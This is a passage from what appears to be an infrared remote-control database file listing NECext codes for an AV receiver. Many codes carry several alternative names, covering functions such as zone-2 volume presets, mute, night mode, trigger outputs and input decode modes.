Z2_VOL_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOLP_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_VOL_MEM_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_PRESET_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VL_P_RECL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: DISP_STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOL._RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOL_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_VOL_BANK_RECALL_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8F 00 00 00 -# -name: Z2_VOL_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOLP_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_VOL_MEM_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_PRESET_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VL_P_RECL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: DISP_STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOL._RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOL_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_VOL_BANK_RECALL_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_SYSM_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 90 00 00 00 -# -name: Z2_VOL_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOLP_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_VOL_MEM_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_PRESET_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VL_P_RECL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: DISP_STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOL._RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_VOL_RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOL_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_VOL_BANK_RECALL_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOL_RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2:_VOL_RECALL_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 91 00 00 00 -# -name: Z2_VOL_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOLP_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2_VOL_MEM_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2_PRESET_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VL_P_RECL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2_VOL_MEM:_LOAD_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOL._RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2_VOL_RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOL_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2_VOL_BANK_RECALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOL_RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: Z2:_VOL_RECALL_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: STATUS_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 92 00 00 00 -# -name: DISP_INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 93 00 00 00 -# -name: DUAL_MONO_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 93 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 93 00 00 00 -# -name: DUAL_MONO_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 93 00 00 00 -# -name: DISP_INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: DUAL_MONO_SUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: DUAL_MONO_SUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 94 00 00 00 -# -name: DISP_INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 95 00 00 00 -# -name: DUAL_MONO_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 95 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 95 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 95 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 95 00 00 00 -# -name: 12V:_DC2_CTL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: DC2_TRIG_CTRL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: DC2_TRG_CTL:_ZONE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: DC2_TRG_CTRL_ZONE1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: DC2_TRIGGER_CONTROL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: TRIGGER:_2_CTRL_MZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: INFO_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 96 00 00 00 -# -name: 12V:_DC2_CTL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: DC2_TRIG_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: DC2_TRG_CTL:_ZONE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: DC2_TRG_CTRL_ZONE2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: DISP_INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: TRIGGER_2_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: TRIGGER_2_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 97 00 00 00 -# -name: 12V:_DC2_CTL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: DC2_TRIG_CTRL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: DC2_TRG_CTL:_ALL_OR -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: DC2_TRG_CTRL_Z1_&_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: DC2_TRG_CTRL_ALL_ZON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: DISP_INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: TRIGGER:_2_CTRL_MZ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 98 00 00 00 -# -name: Z2_SPKR_OUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2:_AMP_INTERNAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2_SP_SET_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2:_SPKR_OUT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2:_AMP_INT:_PRNS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: DISP_INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2_SPKR_OUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 99 00 00 00 -# -name: Z2_SPKR_OUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: Z2:_AMP_EXTERNAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: Z2_SP_SET_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: Z2:_SPKR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: Z2:_AMP_EXT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: Z2_SPKR_OUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: INFO_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9A 00 00 00 -# -name: NIGHT_MODE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: DSP:_NIGHT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: DSP:_NIGHT_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: DSP:_NIGHT_MODE_CIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT:_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: SYS_MEM_1_MEMORY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT_MODE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: SUB_MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: SUB_MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT_MODE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: DSP:_NIGHT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: NIGHT:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: NIGHT_MODE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9D 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9D 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9E 00 00 00 -# -name: SUBMENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9E 00 00 00 -# -name: 12V:_DC2_CTL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: DC2_TRIG_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: DC2_TRG_CTL:_ZONE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: DC2_TRIGGER_CONTROL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: SUB_MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: SUB_MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: TRIGGER_2_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: TRIGGER_2_CTRL_Z3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9F 00 00 00 -# -name: Z2_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: Z2:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: MUTE_ON_(FULL) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: ZONE_2:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: ZONE2:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: Z2_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: Z2:_MUTE_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: ZONE2_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: Z2_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: Z2:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: ZONE_2:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: ZONE2:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: Z2_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: ZONE2_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: AUDIO_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MZ:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MZ_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MUTE_ON_(FULL) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MAIN:_MUTE_ON(FULL) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MUTE:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MAIN:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: AUDIO_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MZ:_MUTE_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MAIN_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MZ:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: SUBMENU_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: AUDIO_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MZ:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MZ_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: DCODE_NEURAL_MUSI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MAIN:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MUTE:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: AUDIO_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MAIN_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: SUR_NEURAL_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MZ:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: SUR_NEURAL_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: MULTICH_INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: 6CH._INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: 6CH_INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MZ:_EXT_INP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MZ:_MULTI-CH_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MULTI_CH_INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: INPUT:_MULTI-CH_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MAIN:_EXT_INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MULTICH_INPUT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: ?MZ:_MULTI-CH_TOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MZ:_M.CH_INP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: VIDEO_PRESET_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: VIDEO_PRESET_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A4 00 00 00 -# -name: MULTICH_INPUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: 6CH._INPUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: 6CH_INPUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: MZ:_EXT_INP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: MZ:_MULTI-CH_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: INPUT:_MULTI-CH_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: MAIN:_EXT_INPUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: MULTICH_INPUT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: MZ:_M.CH_INP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: VIDEO_PRESET_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: VIDEO_PRESET_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A5 00 00 00 -# -name: AUDIO_SELECT_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: DECODE_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INPUT_MODE:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INPUT_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: MZ:_INP_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: MZ:_AUDIO_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: AUDIO_SEL:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INP-A_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: AUDIO_SELECT:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: DSP:_DECODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: MAIN:_INP_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INP_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: MZ:_AUD_SEL_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: VIDEO_PRESET_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: VIDEO_PRESET_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INPUT_MODE:_DD_RF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A7 00 00 00 -# -name: MZ:_INP_MODE_DD.RF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A7 00 00 00 -# -name: INPUT_MODE_D.D.RF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A7 00 00 00 -# -name: VIDEO_PRESET_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A7 00 00 00 -# -name: DECODE_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: INPUT_MODE:_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: INPUT_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: MZ:_INP_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: MZ:_DECODER_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: DECODER_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: DECODER_MODE:_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: DSP:_DECODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: MAIN:_INP_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: INP_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: VIDEO_PRESET_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: AUDIO_SELECT_COAX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: 